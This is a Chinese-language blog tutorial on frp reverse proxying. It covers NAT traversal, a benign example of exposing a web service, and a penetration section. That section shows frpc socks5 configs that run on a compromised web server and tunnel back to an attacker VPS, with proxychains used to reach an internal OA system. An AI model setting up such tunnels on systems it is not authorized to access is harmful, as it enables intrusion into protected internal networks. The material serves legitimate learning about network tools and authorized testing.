frp内网穿透原理及实战应用

近段时间不管遇到什么站只要其具备内网渗透环境,都手痒想打一打,这里写一下内网穿透原理及周边一些相关概念的解释,最后说一下怎样把frp用于内网渗透当中。

NAT机制带来的问题

先说说网络地址转换(即NAT)机制的问题,NAT设备自动屏蔽非内网主机发起的连接,会使得位于不同NAT设备之后的主机无法直接建立联系、交换信息,这一方面保护了内网主机免受外网攻击,另一方面也为P2P通信带来了一定困难。外部主机要与内网主机相互通信,必须由内网主机主动发起连接,使 NAT设备产生一个映射条目,这里为了解决这一窘境,就需要用到内网穿透技术,即 NAT 穿透,进行 NAT 穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包不被 NAT 设备屏蔽而正确路由到内网主机。

内网穿透

外网主机没办法直接访问到内网资源,由于NAT机制的原因

那如何能够成功访问内网,这里需要用到一个反向代理,将内网某端口转发到公网vps上,然后你对公网vps监听端口的访问就等同于对内网服务器转发出来的端口的访问

frp内网穿透的一个简单应用

frp(fast reverse proxy)即快速反向代理

上面这张图是frp基本架构,来自frp官方介绍文档。

其中frps位于公网vps上,frpc位于内网的机器上

介绍一个简单的frp用例,用以实现公网访问你内网笔记本的web服务。

  • 公网vps的frps.ini配置:
1
2
3
[common]
bind_port = 7000
token = password
  • 启动frps

./frps -c ./frps.ini

  • 内网笔记本 frpc.ini 配置:

    x.x.x.x是公网vps地址

1
2
3
4
5
6
7
8
9
10
[common]
server_addr = x.x.x.x
server_port = 7000
token = password

[web]
type = tcp
local_ip = 127.0.0.1
local_port = 80
remote_port = 7002
  • 启动frpc

./frpc -c ./frpc.ini

本地访问显示

访问x.x.x.x:7002

其中frp详细的配置文档可见官方说明文档

frp在内网渗透的应用

模拟一个常见的攻击环境

防火墙右边部分为一个简化的内网环境,假如现在我有了门户网站的shell,而内网OA器不能直接从外网访问,因为管理员设了访问控制策略,OA系统只接收来自内网的访问,这时要想访问内网OA服务就需要利用内网穿透,实现一个反向代理。

门户网站frpc.ini文件

1
2
3
4
5
6
7
8
9
[common]
server_addr = x.x.x.x
server_port = 7000
token = password

[socks5]
type = tcp
remote_port = 7004
plugin = socks5

公网vps主机frps.ini文件

1
2
3
[common]
bind_port = 7000
token = password

我的笔记本安装proxychains,修改/etc/prxoychains.conf配置文件

1
socks5 	x.x.x.x 7004

配合proxychains代理到本地简直不要太方便,使用代理打开火狐浏览器

1
proxychains firefox

现在等同于你的笔记本就处于目标内网当中!

enjoy it!

Thank you very much if you can.

欢迎关注我的其它发布渠道